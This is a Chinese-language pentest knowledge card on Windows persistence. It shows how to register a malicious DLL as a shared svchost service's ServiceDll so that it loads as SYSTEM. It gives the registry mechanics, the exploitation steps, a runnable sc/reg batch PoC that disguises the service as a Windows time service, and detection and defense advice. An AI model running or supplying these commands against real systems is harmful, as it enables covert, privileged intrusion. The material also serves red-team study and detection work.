Windows 服务 DLL 持久化:注册 svchost -k 分组与 Parameters\ServiceDll 让恶意 DLL 随服务以 SYSTEM 加载
pentest/persistence · verified
一句话结论
管理员权限下可把恶意 DLL 注册为共享 svchost 服务的 ServiceDll:创建一个 type= share 的服务(binPath 指向 svchost.exe -k <分组>),把服务名写入 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost 的对应分组 MultiSZ,再在 HKLM\SYSTEM\CurrentControlSet\Services\<服务名>\Parameters\ServiceDll 指向恶意 DLL;服务启动时 svchost 会加载该 DLL 并调用其导出的 ServiceMain,代码以 SYSTEM 权限运行在 svchost.exe 进程内,进程视角比独立可疑 exe 更隐蔽。
原理
- 共享服务进程模型:
SERVICE_WIN32_SHARE_PROCESS(sc create ... type= share)的服务不创建独立进程,而是由svchost.exe承载;binPath形如c:\Windows\System32\svchost.exe -k <分组名>,-k指定服务所属的 svchost 分组。 - 分组注册表:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下的每个值是一个分组(REG_MULTI_SZ列表),列出该组包含的服务名。svchost 启动时读取该列表,决定为哪些服务加载代码。 - ServiceDll 注册表:服务 DLL 的实际路径不在
ImagePath,而在HKLM\SYSTEM\CurrentControlSet\Services\<服务名>\Parameters\ServiceDll(REG_EXPAND_SZ)。SCM 启动该服务时把此 DLL 加载进 svchost 并调用其导出函数ServiceMain。 - 为什么持久且隐蔽:服务
start= auto使系统开机自动启动;ServiceDll指向的 DLL 以 SYSTEM 权限在svchost.exe内执行,不会出现独立的恶意进程名;若分组名伪装成系统服务(如TimeService、W64Time/“Windows 64 Time”),从服务列表与进程列表都较难分辨。 - 恶意 DLL 的形态:DLL 只需导出
ServiceMain(ServiceMain内可创建线程执行实际逻辑,迅速返回以维持服务状态),常见后门(如 TinyTurla/TinyTurla-NG)即采用该形态。
触发条件
- 具备本地管理员权限(写入
System32与 HKLM 注册表、创建服务)。 - 攻击者能投放一个导出
ServiceMain的 DLL(编译或改造现有后门)。 - 系统允许创建/启动服务(未被 AppLocker/WDAC 或服务控制策略限制)。
利用步骤
- 将恶意 DLL 复制到受保护目录(如
%systemroot%\system32\w64time.dll)。 - 创建共享服务并配置自动启动:
bat sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto sc config W64Time DisplayName= "Windows 64 Time" sc description W64Time "Maintain date and time synch on all clients and services in the network" - 把服务名加入 svchost 分组(
REG_MULTI_SZ):bat reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f - 指定服务 DLL:
bat reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f - 启动服务验证(
sc start W64Time),观察 svchost 是否加载 DLL 并触发ServiceMain逻辑。 - 清理时删除服务(
sc delete W64Time)并移除Svchost分组值。
PoC
copy "w64time.dll" %systemroot%\system32\
sc create W64Time binPath= "c:\Windows\System32\svchost.exe -k TimeService" type= share start= auto
sc config W64Time DisplayName= "Windows 64 Time"
sc description W64Time "Maintain date and time synch on all clients and services in the network"
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Svchost" /v TimeService /t REG_MULTI_SZ /d "W64Time" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\W64Time\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\w64time.dll" /f
sc start W64Time
(w64time.dll 需自行实现并在 ServiceMain 中执行载荷;本卡不提供可直接使用的恶意 DLL。)
变体与关联
- 分组名伪装:
TimeService、W64Time/“Windows 64 Time”等名称模仿系统时间同步服务;也可复用已存在的合法分组(把服务名追加进现有 MultiSZ),减少新增注册表痕迹。 - 独立服务进程变体:普通的
CreateService(binPath指向 exe)见 [[pentest-persistence-windows-service-createservice-autostart]];本卡是其「DLL 宿主」变体。 - 加载链关联:svchost 服务 DLL 也常与白加黑/侧加载、内存注入组合;检测侧可结合 [[defense-detection-callstack-servicemain-unsigned-service-dll]]。
- 其它服务持久化:服务失败重启、服务依赖、COM 服务等;本质都是让 SCM 在开机/触发时加载攻击者代码。
检测与防御
- 检测:监控对
HKLM\...\Svchost分组值的修改、Services\<name>\Parameters\ServiceDll的创建/改写;sc create的binPath指向svchost.exe -k且服务名/描述模仿系统服务;svchost 加载非System32路径、未签名或路径可疑的 DLL;服务名不在系统基线中且描述文本与真实功能不符。 - 防御:服务创建与 ServiceDll 写入需要管理员权限,确保最小权限;启用 AppLocker/WDAC 限制 DLL 加载路径与签署要求;对
svchost加载的模块做签名与基线校验(如 Sysmon ImageLoad + 签名验证);监控注册表关键路径变更并告警。